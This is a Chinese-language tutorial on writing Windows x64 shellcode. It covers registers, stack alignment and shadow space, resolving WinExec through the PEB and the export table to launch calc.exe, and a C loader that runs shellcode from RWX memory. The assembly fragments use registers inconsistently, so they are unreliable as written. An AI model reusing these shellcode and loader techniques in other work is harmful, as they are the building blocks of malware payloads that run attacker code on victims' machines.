WIndows x64 ShellCode开发 第一章 x64基础与简单x64程序
字数 2434
更新时间 2026-03-12 13:32:33
Windows x64 ShellCode 开发教学文档
第一章:x64 汇编基础与简单 ShellCode 生成
第一部分:x64 基础 - 寄存器
-
寄存器分类
- 易失性寄存器:在函数调用后其值可能被改变,包括
RAX、RCX、RDX、R8、R9、R10、R11。 - 非易失性寄存器:在函数调用后其值保持不变,通常用于保存程序自身的状态,包括
RBX、RBP、RDI、RSI、R12、R13、R14、R15、RSP。
- 易失性寄存器:在函数调用后其值可能被改变,包括
-
函数调用约定(Windows x64)
在 x64 汇编中,函数的前四个参数依次通过寄存器RCX、RDX、R8、R9传递。示例:mov rcx, 0 ; 第一个参数 mov rdx, 1 ; 第二个参数 call WinExec
第二部分:x64 基础 - 堆栈对齐
-
基本原则
Windows x64 系统的栈要求以 16 字节边界对齐。即在调用函数时,栈指针RSP的值必须能被 16 整除(RSP % 16 == 0)。未对齐可能导致程序崩溃。 -
指令对栈指针的影响
PUSH:RSP减小 8 字节。POP:RSP增加 8 字节。CALL:先将返回地址(8字节)压栈(RSP -= 8),然后跳转。RET:从栈中弹出返回地址(RSP += 8),然后跳回。
-
对齐操作
通常在函数调用前手动调整栈指针以实现对齐。例如:sub rsp, 8 ; 对齐 RSP call WinExec add rsp, 8 ; 恢复栈指针
第三部分:x64 基础 - 影子空间
-
定义
在 Windows x64 调用约定中,调用者必须为被调用的函数预留 32 字节(4个 8 字节槽)的栈空间,这被称为“影子空间”。即使函数不使用这些空间,也必须预留。 -
作用与必要性
影子空间用于为函数提供存储寄存器参数到栈中的空间,以便调试。它也是局部变量和对齐计算的一部分。如果不预留,栈上的参数和数据可能被覆盖,导致程序错误。 -
典型使用
在函数调用前,通常会分配大于等于 32 字节的空间,并同时满足 16 字节对齐。常见指令为sub rsp, 0x30(十进制 48 字节),这同时满足了影子空间(32 字节)和对齐要求。
第四部分:简单 x64 程序 - 动态定位 WinExec 并执行 calc.exe
本部分将创建一个不依赖导入表的独立 ShellCode,通过动态解析 Windows 内核结构来定位并调用 WinExec 函数。
-
获取 Kernel32.dll 基地址
- 原理:通过线程环境块(TEB)和进程环境块(PEB)结构遍历已加载模块链表。
- 步骤:
mov rax, [gs:0x60]:从 GS 段寄存器(在 x64 Windows 中指向当前线程的 TEB)的偏移 0x60 处获取 PEB 地址。mov rax, [rax+0x18]:从 PEB 偏移 0x18 处获取PEB_LDR_DATA结构地址。mov rsi, [rax+0x10]:获取InLoadOrderModuleList(加载顺序模块链表)头。- 遍历链表:链表第一个节点通常是
ntdll.dll,第二个节点通常是kernel32.dll。 mov rbx, [rsi+0x30]:从LDR_MODULE结构偏移 0x30 处获取模块基地址。
-
解析 PE 文件结构,定位导出表
- 获取 PE 头:
mov ebx, [rbx+0x3C] ; 从 DOS 头 e_lfanew 字段获取 PE 头偏移 add rbx, r8 ; 加上基址,得到 PE 头实际地址 - 获取导出表:
mov edx, [rbx+0x88] ; 从可选头的数据目录读取导出表 RVA add rdx, r8 ; 加上基址,得到导出表实际地址 - 获取关键信息:
mov r10d, [rdx+0x14] ; NumberOfNames(导出函数名总数) mov r11d, [rdx+0x20] ; AddressOfNames(函数名指针数组 RVA) add r11, r8 ; 计算函数名数组实际地址
- 获取 PE 头:
-
遍历导出表,查找目标函数
- 准备函数名字符串:将函数名(如 "WinExec\0")以小端序压入栈。注意 x64 中
push一次压入 8 字节,长字符串可能需要多次操作。 - 循环查找:遍历
AddressOfNames数组,将每个导出函数名与目标字符串比较。 - 查找逻辑:
kernel32findfunction: jecxz FunctionNameNotFound ; 计数器为 0 则跳转 xor ebx, ebx mov ebx, [r11+rcx*4] ; 读取第 RCX 个函数名的 RVA add rbx, r8 ; 计算函数名实际地址 dec rcx ; 计数器减 1 mov r9, qword [rax] ; 读取目标字符串 "WinExec\0" cmp [rbx], r9 ; 比较字符串 jz FunctionNameFound ; 找到则跳转 jnz kernel32findfunction ; 未找到则继续循环
- 准备函数名字符串:将函数名(如 "WinExec\0")以小端序压入栈。注意 x64 中
-
通过序号获取函数地址
- 获取序号数组:从导出表偏移 0x24 处读取
AddressOfNameOrdinals数组的 RVA 并计算实际地址。 - 获取函数地址数组:从导出表偏移 0x1C 处读取
AddressOfFunctions数组的 RVA 并计算实际地址。 - 计算最终地址:
mov r13w, [r11+rcx*2] ; 从序号数组获取目标函数的序号 mov eax, [r11+r13*4] ; 从函数地址数组获取目标函数的 RVA add rax, r8 ; 加上基址,得到函数实际地址
- 获取序号数组:从导出表偏移 0x24 处读取
-
调用函数并执行
- 准备参数:按照调用约定,将参数放入
RCX、RDX等寄存器,并确保栈对齐和预留影子空间。 - 示例 - 调用 WinExec("calc.exe", 1):
pop r15 ; 获取 WinExec 函数地址 mov rax, 0x00 push rax ; 字符串终止符 '\0' mov rax, 0x6578652E636C6163 ; 小端序 "calc.exe" push rax ; 压入 "calc.exe" mov rcx, rsp ; 第一个参数:字符串地址 mov rdx, 1 ; 第二个参数:显示窗口 sub rsp, 0x30 ; 分配影子空间并保持栈对齐 call r15 ; 调用 WinExec
- 准备参数:按照调用约定,将参数放入
-
汇编、链接与提取 ShellCode
- 编译汇编代码:使用 NASM 编译为 Windows 64 位目标文件。
nasm -f win64 winexec.asm - 链接:使用 GCC 链接,并跳过 C 运行时启动。
gcc -m64 winexec.obj -o winexec.exe -lkernel32 -nostartfiles - 提取 ShellCode 字节码:使用反汇编工具(如 objdump)提取机器码,并格式化为 ShellCode 字符串(如
\x48\x83\xec\x28...)。
- 编译汇编代码:使用 NASM 编译为 Windows 64 位目标文件。
-
ShellCode 加载器示例(C 语言)
- 原理:在内存中分配一块具有可执行权限的区域,将 ShellCode 字节码复制进去,然后跳转到该内存地址执行。
- 关键步骤:
- 使用
VirtualAlloc分配可读、可写、可执行的内存。 - 使用
memcpy将 ShellCode 复制到该内存。 - 将函数指针转换为无参函数指针并调用。
- 使用
- 核心代码:
unsigned char shellcode[] = "\x48\x83\xec\x28..."; void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof(shellcode)); ((void(*)())exec)(); // 执行 ShellCode
关键概念总结
- 寄存器与调用约定:明确易失/非易失寄存器用途及前四个参数的传递规则。
- 栈对齐:确保函数调用前
RSP % 16 == 0。 - 影子空间:调用函数前必须预留 32 字节栈空间。
- 动态解析:通过 PEB/LDR 结构获取模块基址,通过 PE 导出表解析函数地址,是实现无导入表 ShellCode 的核心。
- ShellCode 提取:从编译后的二进制中提取机器码,并确保其位置无关,可在任意可执行内存中运行。
通过以上步骤,即可完成一个不依赖固定地址、可独立运行的 x64 ShellCode,实现动态解析并调用系统 API(如 WinExec)的功能。
相似文章
相似文章